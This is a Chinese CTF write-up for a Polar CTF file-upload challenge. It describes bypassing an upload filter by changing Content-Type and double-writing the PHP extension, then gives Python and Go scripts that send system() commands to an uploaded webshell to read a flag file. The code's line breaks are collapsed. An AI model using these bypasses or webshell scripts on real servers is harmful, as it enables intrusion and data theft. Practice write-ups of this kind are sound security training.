当前位置: 首页 > news >正文

Polar Web【简单】upload

Polar Web【简单】upload

Contents

  • Polar Web【简单】upload
    • 思路
    • EXP
      • Python
      • Go
    • 运行&总结

思路

如题目所说,本题考查的是文件上传漏洞的渗透技巧。

  1. 打开环境,发现需要上传的是图片文件,故考虑使用截取数据包进行数据修改进行重放。
  2. 在重发器中修改 Content-Type 后,正常上传 shell.php 发现,程序过滤了文件后缀 php,因此考虑进行双写尝试绕过,双写处理后上传发现,程序只做一次过滤,至此成功上传木马。
  3. 本题尝试使用脚本代替工具进行测试,具体逻辑如后文代码所示,最终拿取 flag

index

技巧
在这里插入图片描述

EXP

Python

import requestsdef exe(url):command = 'system("cat /var/www/flag.php");'data = {'cmd': command}resp = requests.post(url=url, data=data)if resp.text:out = resp.textprint(out[out.rindex('flag'):out.rindex("'")])else:print("Nothing...")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/upload/[your_number]shell.php'exe(url=u)

Go

package mainimport ("fmt""io/ioutil""net/http""net/url""strings"
)func attack(url_ string) {data := url.Values{}data.Add("cmd", "system(\"cat /var/www/flag.php\");")if resp, err := http.PostForm(url_, data); err != nil {panic("GET ERR: " + err.Error())} else {out, _ := ioutil.ReadAll(resp.Body)ans := string(out)fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "'")])}
}func main() {baseURL := "http://~.www.polarctf.com:8090/upload/[your_number]shell.php"// 解析基础 URLu, err := url.Parse(baseURL)if err != nil {panic(err)}attack(u.String())
}

运行&总结

run

  • 本题主要考查了文件上传漏洞中的双写绕过技巧
  • 借以本题,进行了使用脚本进行Webshell利用的尝试






敬,不完美的明天

相关文章:

  • 苹果WWDC重磅发布的IOS 18、Apple Intelligence背后的技术分析!
  • [消息队列 Kafka] Kafka 架构组件及其特性(二)Producer原理
  • 【通信协议-RTCM】RTCM通信协议常用英文缩写词汇对照表
  • CCNA 0基础入门
  • AOSP12隐藏首页搜索框----隐藏google 搜索栏
  • 高考之后第一张大流量卡应该怎么选?
  • vue3 递归循环展示下级盒子
  • GLM4-Chat-1M(号称可以输入200万字)的长文本测试结果(推理时间,推理效果)
  • 主成分分析学习
  • 仓库风格-系统架构师(九)
  • Mysql分组如何使用
  • GoogleDeepMind联合发布医学领域大语言模型论文技术讲解
  • GO语言 环境搭建
  • Android native层的线程分析(C++),以及堆栈打印调试
  • Solidity智能合约事件(event)
  • [Vue CLI 3] 配置解析之 css.extract
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 2018以太坊智能合约编程语言solidity的最佳IDEs
  • 2019.2.20 c++ 知识梳理
  • crontab执行失败的多种原因
  • GraphQL学习过程应该是这样的
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • Js基础知识(四) - js运行原理与机制
  • leetcode讲解--894. All Possible Full Binary Trees
  • React16时代,该用什么姿势写 React ?
  • vue 个人积累(使用工具,组件)
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 通过npm或yarn自动生成vue组件
  • 小程序开发之路(一)
  • 协程
  • Spark2.4.0源码分析之WorldCount 默认shuffling并行度为200(九) ...
  • ​软考-高级-信息系统项目管理师教程 第四版【第23章-组织通用管理-思维导图】​
  • !$boo在php中什么意思,php前戏
  • # centos7下FFmpeg环境部署记录
  • (02)Hive SQL编译成MapReduce任务的过程
  • (1)svelte 教程:hello world
  • (HAL库版)freeRTOS移植STMF103
  • (Python第六天)文件处理
  • (分类)KNN算法- 参数调优
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (精确度,召回率,真阳性,假阳性)ACC、敏感性、特异性等 ROC指标
  • .bat批处理(一):@echo off
  • .bat批处理出现中文乱码的情况
  • .NET 读取 JSON格式的数据
  • .NET 使用 ILRepack 合并多个程序集(替代 ILMerge),避免引入额外的依赖
  • .NET 指南:抽象化实现的基类
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .Net高阶异常处理第二篇~~ dump进阶之MiniDumpWriter
  • .NET企业级应用架构设计系列之结尾篇
  • .net生成的类,跨工程调用显示注释
  • @RequestMapping-占位符映射
  • @require_PUTNameError: name ‘require_PUT‘ is not defined 解决方法
  • @在php中起什么作用?